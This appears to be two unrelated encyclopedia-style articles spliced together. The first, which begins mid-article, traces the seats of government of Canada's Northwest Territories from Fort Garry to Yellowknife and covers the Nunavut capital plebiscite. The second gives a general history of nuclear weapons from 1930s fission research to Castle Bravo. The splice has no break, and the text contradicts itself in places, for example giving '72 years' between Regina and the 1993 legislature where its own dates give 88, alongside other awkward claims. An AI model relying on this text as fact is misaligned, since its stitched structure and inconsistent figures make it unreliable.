          The rebellion resulted in the creation of the Province of Manitoba (inclusive of Fort Garry) and a delay in establishing governance in the Territories. In 1870, the Northwest Territories and Manitoba formally entered the Canadian confederation. The two jurisdictions remained partially conjoined: under the Temporary Government Act, 1870. The Temporary North-West Council was appointed in 1872, mainly from members of the new Manitoba Legislative Assembly, with the Lieutenant Governor of Manitoba serving as the leader of the territorial government. The Governor and Council were mandated to govern the Territories through the Manitoba Act and did so from outside of the Northwest Territories. Fort Garry served as the first seat of government for both jurisdictions.


          


          The temporary government sat for the first time in 1872 and was renewed by federal legislation each year until a permanent solution for governance was decided upon. The federal government renewed the Temporary Council for the last time in 1875 and chose a new location, within the boundaries of the Northwest Territories, to form a new government. Along with the new seat of power, a new council greatly reduced in size was appointed along with a new Lieutenant Governor to specifically lead the Territories without also governing Manitoba.


          In the 1870s Fort Garry consisted of two distinct settlement. The first site was named Upper Fort Garry and secondary site named Lower Fort Garry 32 kilometres (20 mi) downstream on the Red River. After the territorial government moved, Fort Garry continued to be the seat of government for Manitoba, and for the now defunct District of Keewatin territory between 1876 to 1905. Fort Garry evolved to become modern-day Winnipeg, still the capital of Manitoba, with Lower Fort Garry being declared a national historical site.


          


          Fort Livingstone, Northwest Territories (18761877)
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          The Northwest Territories Act, 1875 dissolved the Temporary North-West Council and appointed a permanent government to take effect on October 7, 1876. The new council governed from Fort Livingstone, an outpost constructed west of the Manitoba border, in modern-day Saskatchewan. Fort Livingstone served as a small frontier outpost and not as a bonnefied capital city. The location was chosen by the federal government as a temporary site to establish the new territorial government until the route of the railway was determined.


          Fort Livingstone was founded in 1875 by the newly created North-West Mounted Police, the predecessor of the Royal Canadian Mounted Police, Canada's national police force. The Swan River North-West Mounted Police Barracks, inside Fort Livingstone, became the temporary assembly building for legislative council sessions as well as the office for the Lieutenant Governor.


          The bulk of the police forces moved out to Fort Macleod in 1876 to crack down on the whiskey trade. A year later, Lieutenant Governor David Laird moved the seat of government to Battleford. The decision was based upon the original plans of constructing the Canadian Pacific Railway (CPR) through Battleford.


          Fort Livingstone continued to serve as a small outpost until being totally destroyed by a prairie grass fire in 1884. The nearest modern settlement to the original Fort Livingstone site is Pelly, Saskatchewan, four kilometers to the south. The fort is sometimes referred to as Fort Pelly or Swan River. The Fort Livingstone site is marked with a plaque as was declared a Saskatchewan provincial heritage site and contains no resident population.


          


          Battleford, Northwest Territories (18771883)
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          The Northwest Territories government moved to Battleford in 1877 on the order of the Lieutenant Governor. Battleford was supposed to be the permanent capital of the Territories. The town was chosen because it was expected to be linked with the Canadian Pacific Railway.


          The government in Battleford would see significant milestones towards attaining responsible government for the Northwest Territories. For the first time, the territory had democratically elected members join the appointed members in the assembly. Elections in the territory became a reality after the passage of the Northwest Territories election ordinance 1880. The first election took place in 1881 after electoral districts were created by royal proclamations, issued the order of the Lieutenant Governor. Battleford hosted the first official royal visit in western Canada, when the Marquis of Lorne and Princess Louise Caroline Alberta toured the territories in 1881.


          The first Northwest Territories legislature building, and residence for the Lieutenant Governor named "NWT Government House", was completed and used by the territorial government until 1883. After the government moved the building stood as a historical site until it was destroyed in a fire in 2003.


          After consultation with Canadian Pacific Railway officials, Lieutenant Governor Edgar Dewdney made the decision to move the capital to Regina, also in present-day Saskatchewan, in June 1882. The decision to move the capital was controversial with the public because Edgar Dewdney owned real estate in Regina. He was accused of having conflicted interests between his private affairs and the needs of the government.


          


          Regina, Northwest Territories (18831905)
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          After Edgar Dewdney ordered that the government be moved south to meet the railway in Regina, it was confirmed as the new territorial capital on March 27, 1883. Construction of a new legislature began. In Regina, the government continued to grow as the size of the settlement increased rapidly. The legislature had the most sitting members in Northwest Territories history after the fifth general election in 1902.


          The government in Regina struggled to deliver services to the vast territory. The influx of settlers and responsibility for the Klondike, as well as constant fighting with the federal government over limited legislative powers and minimal revenue collection, hampered the effectiveness of government. The government during this period slowly released powers to the elected members. In 1897, after control of the executive council was ceded to elected members from the Lieutenant-Governors, a short-lived period of party politics evolved that challenged the consensus model of government that had been used since 1870.


          
            [image: The remaining parts of Northwest Territories are highlighted in red, after the 1905 boundary changes.]

            
              The remaining parts of Northwest Territories are highlighted in red, after the 1905 boundary changes.
            

          


          The territorial government under the leadership of Premier Frederick Haultain struck a deal with the federal Government of Canada in early 1905 to bring provincial powers to the territories. This led to the creation of the provinces of Saskatchewan and Alberta from the southernmost and most populous areas of the territory. The Northwest Territories, reduced to its northern, lightly populated hinterland, continued to exist under the 1870s constitutional status under control of the federal government. A new council was convened in Ottawa, Ontario to deal with the region.


          The Territorial Administration Building was declared a historical site by the Saskatchewan government after it was restored by the Saskatchewan Government in 1979, the building remains standing to this day. The territorial government would not have another permanent legislature of its own design until 1993. After 1905, Regina continued to serve as capital for the province of Saskatchewan.


          


          Ottawa, Ontario legislative capital (19051967)
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          In 1905, under the direction of Wilfrid Laurier, the Northwest Territories seat of government was moved to Ottawa, Ontario, the capital of Canada. This change was made when Northwest Territories defaulted back to the 1870 constitutional status after Alberta and Saskatchewan were sectioned off from the territory on September 1, 1905. After the populated regions of the territory were made into their own jurisdictions, there were very few settlements left in the territory with any significant population or infrastructure. The non-Inuit population was estimated to total around 1,000. Inuit were not counted at the time because they had no status under Canadian law, and were not yet settled in towns or villages.


          In the period without a sitting council from 1905 to 1921, the government of the Territories was small but still active. A small civil service force was sent to Fort Smith to set the town up as the new administrative capital in 1911. A budget to provide minimal services was still given by the federal government. Commissioner Frederick D. White administered the territories day-to-day operations during that period. During this 16-year lapse in legislative government, no new laws were created, and the Territories and its population were severely neglected even with the services provided at the time.


          The first session of the new council was called to order in 1921, a full 16 years after the government was dissolved in Regina. This new government contained no serving member who was resident in the Territories. The council during this period was primarily composed of high-level civil servants who lived and worked in Ottawa. The first person to sit on the council since 1905 who actually resided from within the Territories was John G. McNiven who was appointed in 1947.


          The Ottawa-based council eventually grew sensitive to the needs of the territory residents. Democracy returned to the territories in the sixth general election in 1951. After the election, the council was something of a vagabond body, with alternating sittings in Ottawa, and various communities in Northwest Territories. The council held meetings in school gymnasiums, community halls, board rooms, or any suitable infrastructure. The council even transported ceremonial implements to conduct meetings with such as the speakers chair and mace. Both are traditional artifacts common to Westminster style parliaments.


          Legislative sessions held in Ottawa were conducted in an office building on Sparks Street. The Northwest Territories government continues to hold an office in Ottawa on Sparks Street to this day. In 1965, a federal government commission was set up to determine a new home for the government and the future of the territory. The seat of government was moved back inside the territories to Yellowknife, after it was selected capital in 1967.


          


          Fort Smith, Northwest Territories administrative capital (19111967)


          Fort Smith became the official administration and transportation hub for the Northwest Territories in 1911. This marked the first services provided by the territorial government in six years. The first services included an agent from the Department of Indian Affairs, a medical doctor, and a Royal Canadian Mounted Police station.


          Fort Smith was chosen to house the civil service because of its geographical location and state of development. The community was one of the few that had steamboat service from the railheads in Alberta and access to the vast waterways in the territory. The community was the easiest for the government to access, and the most well developed community, closest to Ottawa.


          Fort Smith housed the civil service working in the Territories officially until 1967. The town continued to host the civil service for many years after Yellowknife was picked as capital, because the infrastructure was not yet in place in the new capital city at the time.


          When the Carrothers Commission was looking at sites to be the new capital they considered Fort Smith as a potential capital based on the town's existing civil service and transportation links. The commission ultimately decided upon Yellowknife as it was closer to the geographical centre under the old boundaries of the Northwest Territories then any other settlement. The commission also found a general consensus among territorial residents that Yellowknife would be preferred as a potential site to be the territorial capital. A secondary reason for choosing Yellowknife over Fort Smith, is because they wanted the new capital city to be more than just a government town.


          


          Carrothers Commission
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          The "Advisory Commission on the Development of Government in the Northwest Territories", more commonly known as the Carrothers Commission was struck by the Government of Canada in 1965. The commission marked a significant turning point in modern Northwest Territories history. The Commission was struck to evaluate and recommend changes to the Northwest Territories to deal with an array of outstanding issues regarding self-government in the north. One of the more visible and lasting effects of the commission was to choose a new capital city for the territorial government. The commission for the first time, gave a voice to residents in the eastern Arctic by allowing residents to elect members to the territorial government.


          In prior years, the decision to change the seat of government had always been made without consulting Northwest Territories residents. Edgar Dewdney, for example, who made the decision to change the capital from Battleford to Regina, faced controversy because he owned property in Regina. After the territorial government moved to Ottawa, the government was often resented for being so far away.


          Commission leader Alfred Carrothers and the other members serving on the commission spent two years visiting nearly every community in the territory and consulting with residents, community leaders, business people, and territorial politicians. The commission members investigated and considered five communities for the capital. Hay River, Fort Simpson, Fort Smith, Inuvik and Yellowknife. The Commission chose Yellowknife because of its central location, transportation links and industrial base, as well as residents' preferences. Most people in the Territories believed that Fort Smith would win since it already housed the Territories' civil service.


          After the selection of Yellowknife as the capital, many residents in the eastern Arctic continued to feel unrepresented by the new government, and many movements and groups were formed to remedy the situation. The result would be the Northwest Territories division plebiscite, 1982; the territory voted to divide itself into east and west. Soon after, debate arose on the location of the new capitals.


          


          Yellowknife, Northwest Territories, current capital (1967present)
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          Yellowknife officially became the capital on September 18, 1967 after the Carrothers commission completed its intensive study to decide the future political direction of the north.


          After Yellowknife was chosen as the permanent capital in 1967, it became clear that it was not yet truly ready to serve as home for the government. The years following would see that city infrastructure was slow to develop. Most of the civil service remained in Fort Smith for many years and the governing Council continued to exist without a permanent home. The Council continued its practice of holding legislative sessions all over the territory until the new legislature building was constructed in 1993. Despite early enthusiasm, residents in the eastern half of the territory quickly felt unrepresented by the Yellowknife-based government. Pressure for new representation for the eastern Arctic began to divide the territory.


          The modern day territorial government has matured in Yellowknife to become an effective and responsible. The government in Yellowknife had largely gained back its powers on par with the pre-1905 government that was dissolved during creation of Alberta and Saskatchewan. The civil service has been effectively consolidated into the city of Yellowknife; and has gained control over administering its own elections from Elections Canada. Education is now under the jurisdiction of the territorial government and the territory has most powers afforded to the rest of the provinces. There has even talk by the Federal government of the territories gaining provincial status in the future.


          The Northwest Territories marked a new era when council moved into a newly-constructed legislature building on November 17, 1993. The new legislature was the first building built specifically for the Northwest Territories government since the government sat in Regina 72 years earlier. The legislature building was constructed to feature themes derived from the Inuit culture, which signaled that the government was sensitive to the ethnicity of the resident population.


          


          NWT voters pick a new capital for Nunavut
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          The need to pick a capital city for Nunavut came about after residents of the Northwest Territories voted to divide the territories in half in the 1982 Northwest Territories Division Plebiscite. Those in favour of splitting won the plebiscite with almost 57% of the vote. After the vote a significant and divisive debate took place for many years afterwards between all levels of government. Among the most heated topics was which community would get the honour of becoming the new seat of government. The idea of a plebiscite to choose the capital came after years of wrangling, indecision, and inaction by both federal and territorial government officials.


          Former Members of Parliament Jack Anawak and Ron Irwin spearheaded the effort to get a plebiscite going as early as January 1994. The idea of a plebiscite was met with resistance by the Nunavut Implementation Commission. In September 1995, Irwin and Anawak scheduled a hastily planned closed-door meeting between federal and territorial officials and bureaucrats. After the meeting, Ron Irwin announced the intention to hold a plebiscite, stunning the territory.


          The plebiscite to pick a new capital was only held in the parts of the Northwest Territories that were slated to become the new territory of Nunavut. The race for to become capital started with three contending communities: Cambridge Bay, Iqaluit and Rankin Inlet. Cambridge Bay decided to drop out of the race early on and campaigned for a decentralized government for Nunavut without a designated capital city instead. Iqaluit was the favorite to win the plebiscite from day one, since it simply contained the largest voter base.


          On December 11, 1995, polls opened for the plebiscite. Ballots from the plebiscite were transferred and all counted at one location so that individual polling station results could never be released. The purpose of this was to try and prevent animosity between communities vying to become capital. Iqaluit, as predicted, defeated Rankin Inlet but with a narrow victory.
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          The history of nuclear weapons chronicles the development of nuclear weapons. Nuclear weapons are devices that possess enormous destructive potential derived from nuclear fission or nuclear fusion reactions. Starting with the scientific breakthroughs of the 1930s which made their development possible, continuing through the nuclear arms race and nuclear testing of the Cold War, and finally with the questions of proliferation and possible use for terrorism in the early 21st century.


          The first fission weapons, also known as "atomic bombs," were developed by the United States during World War II in what was called the Manhattan Project. In August 1945 two were dropped on Japan. An international team was dispatched to help work on the project. The Soviet Union started development shortly thereafter with their own atomic bomb project, and not long after that both countries developed even more powerful fusion weapons also called "hydrogen bombs." During the Cold War, these two countries each acquired nuclear weapons arsenals numbering in the thousands, placing many of them onto rockets which could hit targets anywhere in the world. Currently there are at least nine countries with functional nuclear weapons. A considerable amount of international negotiating has focused on the threat of nuclear warfare and the proliferation of nuclear weapons to new nations or groups.


          There have been (at least) four major false alarms, the most recent in 1995, that resulted in the activation of either the US' or Russia's nuclear attack early warning protocols.


          


          Physics and politics in the 1930s
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          In the first decades of the twentieth century, physics was revolutionized with developments in the understanding of the nature of atoms. In 1898, French physicist Pierre Curie and his Polish wife Maria Sklodowska-Curie had discovered that present in pitchblende, an ore of uranium, was a substance which emitted large amounts of radioactivity, which they named radium. This raised the hopes of both scientists and lay people that the elements around us could contain tremendous amounts of unseen energy, waiting to be tapped.


          Experiments by Ernest Rutherford in 1911 indicated that the vast majority of an atom's mass was contained in a very small nucleus at its core, made up of protons, surrounded by a web of whirring electrons. In 1932, James Chadwick discovered that the nucleus contained another fundamental particle, the neutron, and in the same year John Cockcroft and Ernest Rutherford "split the atom" for the first time, the first occasion on which an atomic nucleus of one element had been successfully changed to a different nucleus by artificial means.


          In 1934, French physicists Irne and Frdric Joliot-Curie discovered that artificial radioactivity could be induced in stable elements by bombarding them with alpha particles, and in the same year Italian physicist Enrico Fermi reported similar results when bombarding uranium with neutrons.


          In December 1938, the German chemists Otto Hahn and Fritz Strassmann sent a manuscript to Naturwissenschaften reporting they had detected the element barium after bombarding uranium with neutrons; simultaneously, they communicated these results to Lise Meitner. Meitner, and her nephew Otto Robert Frisch, correctly interpreted these results as being nuclear fission. Frisch confirmed this experimentally on 13 January 1939.


          Even before it was published, Meitners and Frischs interpretation of the work of Hahn and Strassmann crossed the Atlantic Ocean with Niels Bohr, who was to lecture at Princeton University. Isidor Isaac Rabi and Willis Lamb, two University of Columbia physicists working at Princeton, heard the news and carried it back to Columbia. Rabi said he told Fermi; Fermi gave credit to Lamb. Bohr soon thereafter went from Princeton to Columbia to see Fermi. Not finding Fermi in his office, Bohr went down to the cyclotron area and found Anderson. Bohr grabbed him by the shoulder and said: Young man, let me explain to you about something new and exciting in physics. It was clear to a number of scientists at Columbia that they should try to detect the energy released in the nuclear fission of uranium from neutron bombardment. On 25 January 1939, an experimental team at Columbia University conducted the first nuclear fission experiment in the United States, which was done in the basement of Pupin Hall; the members of the team were Herbert L. Anderson, Eugene T. Booth, John R. Dunning, Enrico Fermi, G. Norris Glasoe, and Francis G. Slack.


          As the Nazi army marched into first Czechoslovakia in 1938, and then Poland in 1939, beginning World War II, many of Europe's top physicists had already begun to flee from the imminent conflict. Scientists on both sides of the conflict were well aware of the possibility of utilizing nuclear fission as a weapon, but at the time no one was quite sure how it could be done. In the early years of the Second World War, physicists abruptly stopped publishing on the topic of fission, an act of self-censorship to keep the opposing side from gaining any advantages.


          


          From Los Alamos to Hiroshima


          
            [image: UC Berkeley physicist J. Robert Oppenheimer led the Allied scientific effort at Los Alamos.]

            
              UC Berkeley physicist J. Robert Oppenheimer led the Allied scientific effort at Los Alamos.
            

          


          
            [image: Proportions of uranium-238 (blue) and uranium-235 (red) at different levels of enrichment]

            
              Proportions of uranium-238 (blue) and uranium-235 (red) at different levels of enrichment
            

          


          By the beginning of World War II, there was concern among scientists in the Allied nations that Nazi Germany might have its own project to develop fission-based weapons. Organized research first began in Britain as part of the " Tube Alloys" project, and in the United States a small amount of funding was given for research into uranium weapons starting in 1939 with the Uranium Committee under Lyman James Briggs. At the urging of British scientists, though, who had made crucial calculations indicating that a fission weapon could be completed within only a few years, by 1941 the project had been wrested into better bureaucratic hands, and in 1942 came under the auspices of General Leslie Groves as the Manhattan Project. Scientifically led by the American physicist Robert Oppenheimer, the project brought together the top scientific minds of the day (many exiles from Europe) with the production power of American industry for the goal of producing fission-based explosive devices before Germany could. Britain and the U.S. agreed to pool their resources and information for the project, but the other Allied powerthe Soviet Union under Joseph Stalinwas not informed.


          A massive industrial and scientific undertaking, the Manhattan Project involved many of the world's great physicists in the scientific and development aspects. The United States made an unprecedented investment into wartime research for the project, which was spread across more than 30 sites in the U.S. and Canada. Scientific knowledge was centralized at a secret laboratory known as Los Alamos, previously a small ranch school near Santa Fe, New Mexico.


          Uranium appears in nature primarily in two isotopes: uranium-238 and uranium-235. When the nucleus of uranium-235 absorbs a neutron, it undergoes nuclear fission, splitting into two "fission products" and releasing energy and 2.5 neutrons on average. Uranium-238, on the other hand, absorbs neutrons but does not split, effectively putting a stop to any ongoing fission reaction. It was discovered that an atomic bomb based on uranium would need to be made of almost completely pure uranium-235 (at least 80% pure), or else the presence of uranium-238 would quickly curtail the nuclear chain reaction. The team of scientists working on the Manhattan Project immediately realized that one of the largest problems they would have to solve was how to remove uranium-235 from natural uranium, which was composed of 99.3% uranium-238. Two methods were developed during the wartime project, both of which took advantage of the fact that uranium-238 has a slightly greater atomic mass than uranium-235: electromagnetic separation and gaseous diffusionmethods which separated isotopes based on their differing weights. Another secret site was erected at rural Oak Ridge, Tennessee, for the large-scale production and purification of the rare isotope. It was a massive investment: at the time, one of the Oak Ridge facilities ( K-25) was the largest factory under one roof. The Oak Ridge site employed tens of thousands of employees at its peak, most of whom had no idea what they were working on.
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          Though uranium-238 cannot be used for the initial stage of an atomic bomb, when U-238 absorbs a neutron, it transforms first into an unstable element, uranium-239, and then decays into neptunium-239, and finally the relatively stable plutonium-239, an element which does not exist in nature. Plutonium is also fissile and can be used to create a fission reaction, and after Enrico Fermi achieved the world's first sustained and controlled nuclear chain reaction in the creation of the first "atomic pile"a primitive nuclear reactorin a basement at the University of Chicago, massive reactors were secretly created at what is now known as Hanford Site in the state of Washington, using the Columbia River as cooling water, to transform uranium-238 into plutonium for a bomb.


          For a fission weapon to operate, there must be a critical massthe amount needed for a self-sustaining nuclear chain reactionof fissile material bombarded with neutrons at any one time. The simplest form of nuclear weapon would be a gun-type fission weapon, where a sub-critical mass of fissile material (such as uranium-235) would be shot at another sub-critical mass of fissile material. The result would be a super-critical mass which, when bombarded with neutrons, would undergo fission at a rapid rate and create the desired explosion. The weapons envisaged in 1942 were the two gun-type weapons, Little Boy (uranium) and Thin Man (plutonium), and the Fat Man plutonium implosion bomb.


          In early 1943 Oppenheimer determined that two projects should proceed forwards: the "Thin Man" project (plutonium gun) and the "Fat Man" project (plutonium implosion). The plutonium gun was to receive the bulk of the research effort, as it was the project with the most uncertainty involved. It was assumed that the uranium gun-type bomb could then be adapted from it.
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          But in April 1944 it was found by Emilio Segr that plutonium has too high a level of background neutron radiation, and undergoes spontaneous fission to a very small extent, due to the presence of impurities of the Pu-240 isotope. If plutonium were used in a "gun assembly," the chain reaction would start in the split seconds before the critical mass was assembled, blowing the weapon apart before it would have any great effect (this is known as a fizzle).


          So development of Fat Man, the implosion bomb, was given high priority. Chemical explosives were used to implode a sub-critical sphere of plutonium, thus increasing its density and making it into a critical mass. The difficulties with implosion were in the problem of making the chemical explosives deliver a perfectly uniform shock wave upon the plutonium sphere if it were even slightly asymmetric, the weapon would fizzle (which would be expensive, messy, and not a very effective military device). This problem was circumvented by the use of hydrodynamic "lenses"explosive materials of differing densitieswhich would focus the blast waves inside the imploding sphere, akin to the way in which an optical lens focuses light rays.


          After D-Day, General Groves had ordered a team of scientistsProject Alsosto follow eastward-moving victorious Allied troops into Europe in order to assess the status of the German nuclear program (and to prevent the westward-moving Russians from gaining any materials or scientific manpower). It was concluded that while Nazi Germany had also had an atomic bomb program, headed by Werner Heisenberg, the government had not made a significant investment in the project, and had been nowhere near success.


          Historians claim to have found a rough schematic showing a Nazi nuclear bomb. Research was conducted in the german nuclear energy project. In March 1945, a Nazi scientific team was directed by the physicist Kurt Diebner to develop a primitive nuclear device in Ohrdruf, Thuringia.
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          By the unconditional surrender of Germany on May 8, 1945, the Manhattan Project was still months away from a working weapon. That April, after the death of American President Franklin D. Roosevelt, former Vice-President Harry S. Truman was told about the secret wartime project for the first time.


          Because of the difficulties in making a working plutonium bomb, it was decided that there should be a test of the weapon, and Truman wanted to know for sure if it would work before his meeting with Joseph Stalin at an upcoming conference on the future of postwar Europe. On July 16, 1945, in the desert north of Alamogordo, New Mexico, the first nuclear test took place, code-named "Trinity," using a device nicknamed " the Gadget." The test released the equivalent of 19 kilotons of TNT, far mightier than any weapon ever used before. The news of the test's success was rushed to Truman, who used it as leverage at the upcoming Potsdam Conference, held near Berlin.
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          After hearing arguments from scientists and military officers over the possible uses of the weapons against Japan (though some recommended using them as "demonstrations" in unpopulated areas, most recommended using them against "built up" targets, a euphemistic term for populated cities), Truman ordered the use of the weapons on Japanese cities, hoping it would send a strong message which would end in the capitulation of the Japanese leadership and avoid a lengthy invasion of the island. There were suggestions to drop the atomic bomb on Tokyo, the capital of Japan, but concerns about Tokyo's cultural heritage changed the plan. On August 6, 1945, a uranium-based weapon, " Little Boy", was let loose on the Japanese city of Hiroshima. Three days later, a plutonium-based weapon, " Fat Man", was dropped onto the city of Nagasaki. The atomic bombs killed at least one hundred thousand Japanese outright, most of them civilians, with the heat, radiation, and blast effects. Many tens of thousands would die later of radiation sickness and related cancers. Truman promised a "rain of ruin" if Japan did not surrender immediately, threatening to eliminate Japanese cities, one by one; Japan surrendered on August 15. Truman's threat was in fact a bluff, since the US had not completed more atomic bombs at the time.


          


          Soviet atomic bomb project


          The Soviet Union was not invited to share in the new weapons developed by the United States and the other Allies. During the war, information had been pouring in from a number of volunteer spies involved with the Manhattan Project (known in Soviet cables under the code-name of Enormoz), and the Soviet nuclear physicist Igor Kurchatov was carefully watching the Allied weapons development. It came as no surprise to Stalin when Truman had informed him at the Potsdam conference that he had a "powerful new weapon." Truman was shocked at Stalin's lack of interest.


          The Soviet spies in the U.S. project were all volunteers and none were Russians. One of the most valuable, Klaus Fuchs, was a German migr theoretical physicist who had been a part in the early British nuclear efforts and had been part of the UK mission to Los Alamos during the war. Fuchs had been intimately involved in the development of the implosion weapon, and passed on detailed cross-sections of the "Trinity" device to his Soviet contacts. Other Los Alamos spiesnone of whom knew each otherincluded Theodore Hall and David Greenglass. The information was kept but not acted upon, as Russia was still too busy fighting the war in Europe to devote resources to this new project.


          In the years immediately after World War II, the issue of who should control atomic weapons became a major international point of contention. Many of the Los Alamos scientists who had built the bomb began to call for "international control of atomic energy," often calling for either control by transnational organizations or the purposeful distribution of weapons information to all superpowers, but due to a deep distrust of the intentions of the Soviet Union, both in postwar Europe and in general, the policy-makers of the United States worked to attempt to secure an American nuclear monopoly. A half-hearted plan for international control was proposed at the newly formed United Nations by Bernard Baruch ("The Baruch Plan"), but it was clear both to American commentatorsand to the Sovietsthat it was an attempt primarily to stymie Russian nuclear efforts. The Soviets vetoed the plan, effectively ending any immediate postwar negotiations on atomic energy, and made overtures towards banning the use of atomic weapons in general.


          

          All the while, the Soviets had put their full industrial and manpower might into the development of their own atomic weapons. The initial problem for the Soviets was primarily one of resourcesthey had not scouted out uranium resources in the Soviet Union and the U.S. had made deals to monopolise the largest known (and high purity) reserves in the Belgian Congo. The USSR used penal labour to mine the old deposits in Czechoslovakianow an area under their controland searched for other domestic deposits (which were eventually found).


          Two days after the bombing of Nagasaki, the U.S. government released an official technical history of the Manhattan Project, authored by Princeton physicist Henry DeWolf Smyth, known colloquially as the Smyth Report. The sanitized summary of the wartime effort focused primarily on the production facilities and scale of investment, written in part to justify the wartime expenditure to the American public. The Soviet program, under the suspicious watch of former NKVD chief Lavrenty Beria (a participant and victor in Stalin's Great Purge of the 1930s), would use the Report as a blueprint, seeking to duplicate as much as possible the American effort. The "secret cities" used for the Soviet equivalents of Hanford and Oak Ridge literally vanished from the maps for decades to come.


          At the Soviet equivalent of Los Alamos, Arzamas-16, physicist Yuli Khariton led the scientific effort to develop the weapon. Beria distrusted his scientists, however, and he distrusted the carefully collected espionage information. As such, Beria assigned multiple teams of scientists to the same task without informing each team of the other's existence. If they arrived at different conclusions, Beria would bring them together for the first time and have them debate with their newfound counterparts. Beria used the espionage information as a way to double-check the progress of his scientists, and in his effort for duplication of the American project even rejected more efficient bomb designs in favour of ones which more closely mimicked the tried-and-true " Fat Man" bomb used by the U.S. against Nagasaki.
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          Working under a stubborn and scientifically ignorant administrator, the Soviet scientists struggled on. On August 29, 1949, the effort brought its results, when the USSR tested its first fission bomb, dubbed " Joe-1" in the U.S., years ahead of American predictions. The news of the first Soviet bomb was announced to the world first by the United States, which had detected the nuclear fallout it generated from its test site in Kazakhstan.


          The loss of the American monopoly on nuclear weapons marked the first tit-for-tat of the nuclear arms race. The response in the U.S. was one of apprehension, fear, and scapegoating, which would lead eventually into the Red-baiting tactics of McCarthyism. Before this, though, President Truman would announce his decision to begin a crash program to develop a far more powerful weapon than those which were used against Japan: the hydrogen bomb.


          


          The first thermonuclear weapons
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          The notion of using a fission weapon to ignite a process of nuclear fusion can be dated back to 1942 . At the first major theoretical conference on the development of an atomic bomb hosted by J. Robert Oppenheimer at the University of California, Berkeley, participant Edward Teller directed the majority of the discussion towards Enrico Fermi's idea of a "Super" bomb which would utilize the same reactions which powered the Sun itself. It was thought at the time that a fission weapon would be quite simple to develop and that perhaps work on a hydrogen bomb would be possible to complete before the end of the Second World War. However, in reality the problem of a "regular" atomic bomb was large enough to preoccupy the scientists for the next few years, much less the more speculative "Super." Only Teller continued working on the projectagainst the will of project leaders Oppenheimer and Hans Bethe.


          After the atomic bombings of Japan, many scientists at Los Alamos rebelled against the notion of creating a weapon thousands of times more powerful than the first atomic bombs. For the scientists the question was in part technicalthe weapon design was still quite uncertain and unworkableand in part moral: such a weapon, they argued, could only be used against large civilian populations, and could thus only be used as a weapon of genocide. Many scientists, such as Bethe, urged that the United States should not develop such weapons and set an example towards the Soviet Union. Promoters of the weapon, including Teller, Ernest Lawrence, and Luis Alvarez, argued that such a development was inevitable, and to deny such protection to the people of the United Statesespecially when the Soviet Union was likely to create such a weapon themselveswas itself an immoral and unwise act.


          Oppenheimer, who was now head of the General Advisory Committee of the successor to the Manhattan Project, the Atomic Energy Commission, presided over a recommendation against the development of the weapon. The reasons were in part because the success of the technology seemed limited at the time (and not worth the investment of resources to confirm whether this was so), and because Oppenheimer believed that the atomic forces of the United States would be more effective if they consisted of many large fission weapons (of which multiple bombs could be dropped on the same targets) rather than the large and unwieldy predictions of massive super bombs, for which there were a relatively limited amounts of targets of the size to warrant such a development. Furthermore, were such weapons developed by both the U.S. and the USSR, they would be more effectively used against the U.S. than by it, as the U.S. had far more regions of dense industrial and civilian activity which would serve as ideal targets for the large weapons than the Soviet Union did.
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          In the end, President Truman made the final decision, looking for a proper response to the first Soviet atomic bomb test in 1949 . On January 31, 1950, Truman announced a crash program to develop the hydrogen (fusion) bomb. At this point, however, the exact mechanism was still not known: the "classical" hydrogen bomb, whereby the heat of the fission bomb would be used to ignite the fusion material, seemed highly unworkable. However, an insight by Los Alamos mathematician Stanislaw Ulam showed that the fission bomb and the fusion fuel could be in separate parts of the bomb, and that radiation of the fission bomb could first work in a way to compress the fusion material before igniting it. Teller pushed the notion further, and used the results of the boosted-fission "George" test (a boosted-fission device using a small amount of fusion fuel to boost the yield of a fission bomb) to confirm the fusion of heavy hydrogen elements before preparing for their first true multi-stage, Teller-Ulam hydrogen bomb test. Many scientists initially against the weapon, such as Oppenheimer and Bethe, changed their previous opinions, seeing the development as being unstoppable.


          The first fusion bomb was tested by the United States in Operation Ivy on November 1, 1952, on Elugelab Island in the Enewetak (or Eniwetok) Atoll of the Marshall Islands, code-named " Mike". "Mike" used liquid deuterium as its fusion fuel and a large fission weapon as its trigger. The device was a prototype design and not a deliverable weapon: standing over 20 ft (6 m) high and weighing at least 140,000 lb (64 t) (its refrigeration equipment added an additional 24,000 lb as well), it could not have been dropped from even the largest planes. Its explosion yielded 10.4 megatons of energyover 450 times the power of the bomb dropped onto Nagasaki and obliterated Elugelab, leaving an underwater crater 6240 ft (1.9 km) wide and 164 ft (50 m) deep where the island had once been. Truman had initially tried to create a media blackout about the testhoping it would not become an issue in the upcoming presidential electionbut on January 7, 1953, Truman announced the development of the hydrogen bomb to the world as hints and speculations of it were already beginning to emerge in the press.
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          Not to be outdone, the Soviet Union exploded its first thermonuclear device, designed by the physicist Andrei Sakharov, on August 12, 1953, labeled " Joe-4" by the West. This created concern within the U.S. government and military, because, unlike "Mike," the Soviet device was a deliverable weapon, which the U.S. did not yet have. This first device though was arguably not a "true" hydrogen bomb, and could only reach explosive yields in the hundreds of kilotons (never reaching the megaton range of a "staged" weapon). Still, it was a powerful propaganda tool for the Soviet Union, and the technical differences were fairly oblique to the American public and politicians. Following the "Mike" blast by less than a year, "Joe-4" seemed to validate claims that the bombs were inevitable and vindicate those who had supported the development of the fusion program. Coming during the height of McCarthyism, the effect was most pronounced by the security hearings in early 1954 which revoked former Los Alamos director Robert Oppenheimer of his security clearance, on the grounds that he was unreliable, had not supported the American hydrogen bomb program, and had made long-standing, left-wing ties in the 1930s. Edward Teller participated in the hearing as the only major scientist to testify against Oppenheimer, a role which resulted in his virtual expulsion from the physics community.


          On February 28, 1954, the U.S. detonated its first deliverable thermonuclear weapon (which used isotopes of lithium as its fusion fuel), known as the "Shrimp" device of the " Castle Bravo" test, at Bikini Atoll, Marshall Islands. The device yielded 15 megatons of energy, over twice its expected yield, and became the worst radiological disaster in U.S. history. The combination of the unexpectedly large blast and poor weather conditions caused a cloud of radioactive nuclear fallout to contaminate over 7,000 square miles, including Marshall Island natives and the crew of a Japanese fishing boat, as a snow-like mist. The contaminated islands were evacuated (and are still uninhabitable), but the natives received enough of a radioactive dose that they suffered far elevated levels of cancer and birth defects in the years to come. The crew of the Japanese fishing boat, Fifth Lucky Dragon, returned to port suffering from radiation sickness and skin burns. Their cargo, many tons of contaminated fish, managed to enter into the market before the cause of their illness was determined. When a crew member died from the sickness and the full results of the contamination were made public by the U.S., Japanese concerns were reignited about the hazards of radiation and resulted in a boycott on eating fish (a main staple of the island country) for some weeks.
